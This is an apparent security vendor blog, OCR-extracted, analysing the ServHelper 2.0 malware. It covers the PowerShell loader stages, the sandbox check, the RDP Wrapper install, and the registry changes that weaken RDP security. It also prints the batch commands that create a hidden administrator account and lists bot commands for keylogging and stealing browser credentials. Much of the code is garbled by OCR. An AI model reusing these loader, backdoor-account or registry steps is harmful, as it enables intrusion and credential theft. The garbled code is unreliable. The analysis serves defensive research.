ServHelper 2.0: Enriched with bot capabilities and allow
remote desktop access
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SonicWall RTDMI ™ engine has recently detected a Nullsoft Scriptable Install System
(NSIS) compiled executable file which executes new variant of ServHelper malware as a
final payload. The NSIS binary contains a PowerShell script, which on execution brings
another PowerShell script. The second level PowerShell script is responsible for checking
and setting execution environment for ServHelper 2.0 malware.

PE Static Information:

property value

file-type executable

date

language English-United States
code-page AMNSI Latin 1

Comments installation cnxkgwyewsz
CompanyMName script cnxkgwyewz installation llc
FileDescription installation cnxkgwyewsz isntaller
FileVersion 1285

LegalCopyright all rights reserved
LegalTrademarks copyright cnxkgwyewz all rights
ProductMame script of installation cnxkgwyewsz software

First Level PowerShell Script:

This PowerShell script perform Base64 decoding, followed by the decryption using Triple
Data Encryption Standard (TripleDES) algorithm to get second level PowerShell script. The
second level PowerShell script is executed after removing null bytes from the end:
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2cho installing component

function wsbvzgtesd([String] §leeekeptex, [String] $nfwmbwnezw)

(=K} Baseb4 encoded encrypted PowerShell script

[stinggviclm = * Re. 1v50WA+1kQFNT 7nWHIBWKQ] e /BH7GVnUWEAFC1ngl 3TZ37KBhi vEWHENT zhdj FqwnOCOkKgBaY1532e QW SowGl] eXtxN44gnNo+30¥QTQPTIxNC11Wd. . . "
$encoding = New

[$tawvsibkin = Sence _Gets '} 7] Initial Vector

|$tinggviclma = [Convert]::FromBase :] Baseb4 decoding brings encrypted PowerShell script
$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(§leeekeptex, §encoding.GetBytes($nfwmbwnezw), "SEAL", 2):

|(Byte[1] Svgrslbvive = $derivedPass.GetBytes(i¢): | Key

$igzonmchtn = New-Cbis=ct System.Security.Cryptography.TripleDESCryptoServiceProvider;
$igzonmchtu.Mode = [System.Security.Cryptography.CipherMode]::CBC;

[Bytel[]l] Spkrkgnzwck = New-Object Byte[] ($tinggviclma.Length):

Sftmxyrnmdzd = §$igzonuchtu.CreateDecrypror (§vgrslbvive, Stuwvsibkhh) :

Somovzeigev = New-Cbjsct System.IO.MemoryStream(§tingqviclma, §True):

$pydlxzgeid = New-Cbisct System,Security.Cryptography.CryptoStream($omcvzeigev, §$ftmxynmdzd, [System.Security.Cryptography.CryptoStreamMode]::Read);
$veflzellkmw = $pydlxzgeid.Read (§pkrkgnzwek, O, $pkrkgnzwck.Length)

$omcvzeigev.Close()

Spydlxzgeid.Close()

$igzonmohtu.Clear () ;

if (($pkrkgnzwek.Length —gt 3) -and ($pkrkgnzwck[0] -eq OxEF) -and (§pkrkgnzwck[1] -eq 0xEB) -and ($pkrkgnzwek[2] -eq OxBF)) { $h = $pkrkgnzwek[?.. ($pkrkgnzwek.Length-1)1; }
return §encoding.GetString (§pkrkgnzwek) .TrimEnd ([Char] 0)
=1 Password Key salt

Swepoxxvwkew = wsbvzgrcsd ["viZkouxfrzntiy3miSdlognew794ageb " fnvexwugsglec2cT1l0v3benrpmeisdz”]

Invoke-Expression §wopooxvwkew

Second Level PowerShell Script:

The PowerShell script checks the Read Only Memory (ROM) size, by accessing
“SMBiosData” property in System Management BIOS (SMBIOS). If ROM size if less than or
equal to 2048 KiloBytes, the malware calls function “clearupper” which removes the
temporary files and terminates the execution. The 9th byte is “SMBiosData” represents
“[ROM size(in KiloBytes)/64 — 1]”. Checking ROM size can be a used to determining virtual
environment or the malware author does not want to execute ServHelper, if victim’s
machine does not meet the expected ROM size. If the malware is executed with
“‘Administrators” account then “install” function is executed which is responsible for further
ServHelper execution, else “gsdingeku” is executed which is responsible for executing the
PowerShell script with escalated privilege:

I if({({[System.Security.Principal.WindowsIdentity]::GetCurrent{)).groups -match "5-1-5-32-544")} IAdminiatratcra check
B
§t=Get-WmiCbject -Namespace root\wmi -Query "SELECT * FROM osTables" lSs:(i:*St.S}BiusData[i]+£-.) Fif($s -le _7Z—.i)I{clean.zpper)alse{install: }
} else { ROM size comparision
§$t=Cet-WmiObiect -Namespace root\wmi -Query "SELECT # FROM 1—!351’3;:3735.'51{3;33:5':133“ISS=(:’%*$t.SMBiDSDat.a[E]+€—Z);iftss ~1e :ief)kclsampper;alse{gsdinge)m; }
}

The malware now checks for “TermService” (Remote Desktop Service), if not already
present, the malware creates the service setting “ServiceDII” path as
“%SystemRoot%\System32\termsrv.dll” and then terminates “TermService” if already
running. The malware contains strings variable, which are Base64 decoded, followed by
gzip decompression to get the component files(32-bit ServHelper binary, modified 64-bit
RDP Wrapper Library, 64-bit ServHelper binary, RDP Wrapper Library configuration, 64-bit
RDP Clipboard Monitor executable and 64-bit Microsoft RemoteFX VM Transport library):
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Mot Available

32-bit ServHelper binary

|sbot = "H4sIARRRARAFAOVBRIOEOLadfxADQEMDQ3ILOMRKSZ2jCrze69wKXez27 79z MiNpWoLlDIey91lvrUjevBFkVI1LtwFEVQIERQ1FpR/ 768KxPgRlre3. .. " |
Modified 64-bit Github available RDP Wrapper Library

|srdp6s = "HasIARARARARAOVbxSLrSnelHwgDeDfMhPfezghvSNDA4+mFc+/t1lnéplloadaQzolnV5CDa3utbRVYY£2z0ALHAX6CELinTIANCS4XEUD/T01/NU. .. " |
64-bit ServHelper binary

|$bot64 = "H4sTARRAARAFRACxTxTarTJlehzEgSsCwipxzlowgepBAXEc35293u+1lul8ojey3X4C4uCErYtb+k 4f fhwAFHAPROAGoCgDgFEBEx33xR 'i'::...“l
RDP Wrapper Library configuration

|$c'.fg = "H4sIAARARAAFAOI973eburl2vwI¥vovikw/ 1gG8G2TyQaikigW2zvIRScntybNib89a8keGITGCYGRNvDUuuS310/ 5ZeenXk0kmbedPrVsyebYLRAX, . . " |
64-bit RDP Clipboard Monitor executable

[5clip = "H4=sIARARRRAFAOVISb+iTNI+/IFcgDMuGRVIR1TcgSgiKuc4oX76E0Rkop5TVALPbITVIN/ 2rvkt1yIyMiLhizPHk25d1W4Y/Ov6EIEi ybRVyaceX. .. " |
b64-bit Microsoft RemoteFX VM Transport L|braryr

|$vmt = "HasIARARARAFAOYOWZIeiwlI2/IOBEMESS0YFEZKFTxwRcapyQP31b0RkglpDT33W+dZ3dapXd5cCOURGRIwRZOCHR440DkX4UEGEarU imYiF +0+. .. " |

32-bit ServHelper binary is packed with PECompact (Powerful executable compression for
software developers and vendors), 64-bit ServHelper binary and modified 64-bit RDP
Wrapper Library are packed with UPX (Ultimate Packer for eXecutables). The malware
checks “[System.IntPtr]::Size” to determine Operating System architecture and copies
component files to below file locations:

o Modified RDP Wrapper Library — Copies to $env:programfiles\windows
mail\appcache.xml

» ServHelper binary — Copies to $env:programfiles\windows mail\default_list.xml

o RDP Wrapper Library configuration — Copies to $env:programfiles\windows
mail\cleanuptask.cfg

* RDP Clipboard Monitor executable — If not present already, copies
to env:systemroot\system32\rdpclip.exe

» Microsoft RemoteFX VM Transport library — If not present already, copies to
$env:systemroot\system32\rfxvmt.dll

The malware changes Remote Desktop Protocol (RDP) port to “7201” and ServiceDLL to
“$env:programfiles\windows mail\appcache.xml” for “Remote Desktop Service”. The
malware then starts “rdpdr” and “TermService” services. ServiceDLL for “TermService”
which is now “Modified RDP Wrapper Library” executes the ServHelper binary.

REG RDD "HE System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG _DWORD /d 0x1C21 /£

reg add s" /v ServiceDLL ft REG_EXPAND S5Z /d "c:\program files\windows maillappcache.xml"™ /£

reg add "HE

\RE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

ServHelper 2.0:

The malware decrypts encrypted string “d:\xbl_QpfneNpYlu_.qye” to
“c:\aaa_TouchMeNot_.txt" using below decryption logic and uses same decryption logic for
decrypting other encrypted strings:
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char byKey[] = {'B","L","L","X"};
—char * DecryptString(char *pbyStringValue, DWORD dwSize)

{
DWORD dwIndex = @;
for (dwIndex = @; dwIndex < sizeof(byKey); dwIndex++)
{
if(byKey[dwIndex] >= 'A" && byKey[dwIndex] <= 'Z")
{
byKey[dwIndex] = byKey[dwIndex] - 'A';
¥
}
int iStringIndex = @;
for (dwIndex = @; dwIndex < dwSize; dwIndex++)
{
if (pbyStringValue[dwIndex] »>= "A" && pbyStringValue[dwIndex] <= 'Z")
{
iStringIndex = pbyStringValue[dwIndex] - byKey[dwIndex % sizeof(byKey)] - 'A’;
pbyStringValue [dwIndex] = "A' + GetAlphabetIndex(iStringIndex);
¥
else if (pbyStringValue[dwIndex] >= 'a' && pbyStringValue[dwIndex] <= "z")
{
iStringIndex = pbyStringValue[dwIndex] - byKey[dwIndex % sizeof(byKey)] - 'a’;
pbyStringValue [dwIndex] = "a' + GetAlphabetIndex(iStringIndex);;
¥
¥
return pbyStringValue;
¥

The malware now checks the presence of “c:\aaa_TouchMeNot_.txt" (Windows Defender’s
goat file), if found then malware terminates the execution:

- TEXT ! BUoYoYuY / LIUFES /S NOp
.text:0eEEEEEET13DFESS lea
.text:0eEEEEEET13DFESF lea

rcx, [rbp+var_s27@]
rdx, byte 713E@B44 ; d:‘\xbl QpfneNp¥lu_.qye

The malware modified user accounts using below batch commands to allow remote desktop

. text : pGE0E668713DFEBD mov

. text:90000000713DFECD jz

.text:00000000713DFE96 lea rg, aBllx 25 3 "BLLX
. text:98000088713DFEID call StringDecryption
.text:B0000008713DFEAZ mov rcx, [rbptvar_s27@]
.text:000000007130FEAD call ValidatePointer
.text:P0000008713DFEAE lea rex, [rbptvar_s268]
.text:00000008713DFEBS mov rdx, rax
.text:00000000713DFEBS call CopyString

rcx, [rbp+var_s268] ; c:\aaa_TouchMeNot_.&xt

. text: 200006087 130FEC4 mov dl, 1
. text:@ee80808713DFECE call IsFilePresent
.text:00000000713DFECE test al, al

short loc_713DFED4

] A A
il e [=
.text: 000000087 13DFECF call ExitProcess_

access.

il =

.text:000000007130FEDS

. text:p0608008713DFEDL call
. text:P0600000713DFEDI lea
. text:P0000000713DFEE® lea

net user wgautilacc Ghar4f5 /del
net user wgautilacc yysJGOOr /add
net LOCALGROUP “Remote Desktop Users” wgautilacc /ADD
net LOCALGROUP “Remote Desktop Users” Deepak /ADD
net LOCALGROUP “Administrators” wgautilacc /ADD

net user wgautilacc yysJGOOr

. text:PeBEEEAETI3DFEDS loc_713DFED4:

NetworkCommunicationStringsDecryption
rcx, [rbptvar_s26@]
rdx, off_713EB98

.text:00000000713DFEET lea rg, aBllx 25 3 "BLLX"
. text:00800088713DFEEE call StringDecryption

. text:P0800088713DFEF3 mov rcx, [rbptvar s26@]
.text:peBAERERT13DFEFA call validatePointer

. text:P0800000713DFEFF lea rex, [rbptvar_s258]
Ltext:20800008713DFFR6 mov rdx, rax
.text:00000000713DFFE9 call CopyString
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The malware modifies below registry entries:

o HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections -> 0

o HKLM\System\CurrentControlSet\Control\Terminal Server\FSingleSessionPerUser ->
1

o HKLM\System\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse -> 0

o HKLM\System\CurrentControlSet\Control\Terminal Server\Licensing
Core\EnableConcurrentSessions -> 1

o HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\AllowMultiple TSSessions -> 1

o HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\wgautilacc -> 0

o HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal
Services\fAllowToGetHelp -> 1

The malware writes victim’s machine information into “% TEMP%\LYNPCDXX":

B LYNPCDXX - Notepad

File Edit Format View Help User account

dec22bui {x64{Deepak} Deepak jiinacc tugautilaccyrACoIGR) 75187
BotlD perating System Version Architecture Added user account  Password

Network Communication:

The malware sends the information to its Command and Control (C&C) server. Before
sending information to the C&C server, malware performs xor operation followed by Base64
encoding:

alue
FxIXFwdHRVUAQaY = | Fsdff4 44530

FQQQQ INDggdFQAEAKFELTTIW AXCREQRTIQAQGKFCULKIFEMAGA4dUVAQE TTMXQaHQVTRIGDQELT
sysid R 1VeEwgHUSQXGEUaHgaShIFR Vo 3FAQDEAPINQQWAQAYShY aHwAQEIsEFgAGBQafEAIQSgATIVAR
w3

resp Victim's machine info

rights FwcVFwe= | FFFFF

misC
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Commands Supported:

e bk

e info

o fixrdp

e reboot

e updateuser
e deployns

e keylogadd
e keylogdel
o keyloglist
e keylogreset
o keylogstart
e sshurl

o getkeylog
¢ getchromepasswords
e getmozillacookies
e getchromecookies
e search

e bkport

¢ hijack

e persist
 stophijack
 sethijack

e setcopyurl
o forcekill

e Nnop

e tun

e slp

e Kkilltun

e shell

e update

e load

e sockt

Unavailability of Portable Executable (PE) in any of the popular threat intelligence sharing
portals like the VirusTotal and the ReversingLabs at the time of writing this blog indicates its
uniqueness and limited distribution:
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Evidence of the detection by RTDMI(tm) engine can be seen below in the Capture ATP
report for this file:

SONICWALL' | capture ATP Report

No matches found

Dec 26, 3:06am

downloaded a malicious file. The endpoint may need to be cleaned.

8@ virustotal.com/guifsearch/2975e0f27fdd1b2c0b352e38e90e1fad777e6c9729652555251d66f1d990a91b

Q

A 3846kb
PE32 executable (GUI) Intel
80386

judicature_9783 exe

Why live detonations were needed
Not a known malware
Embedded code found
Not a known reputable vendor
Not a known reputable domain

@ Allother resuits inconclusive File
sent to detonation engines for
further analysis.

File Identifiers

MD5: a391708189a77ce770520ande 1815889

SHAT: 5208c0be118216600438734650170526a1905809
SHA256:

Source Destination
I I

36 2 2

virus scanners reputation databases detonation engines

Summary of actions once detonated

2

live detonations

See everything the engines saw

Engine Alpha time. Hibraries files registries. processes mutexes. functions. download full details
[T smASH (RTDMI) ‘ 635 | ‘ 58 ‘ ‘ ‘ ‘ ‘ ‘ [: 308 & Screenshots
Engine Beta

oo | \ \ \ \ \ \

Serial Number INEEEEG—
apture ATP Version 256

C:
Report Generated on Wed, 25 Dec 2019 21:41°57 GMT
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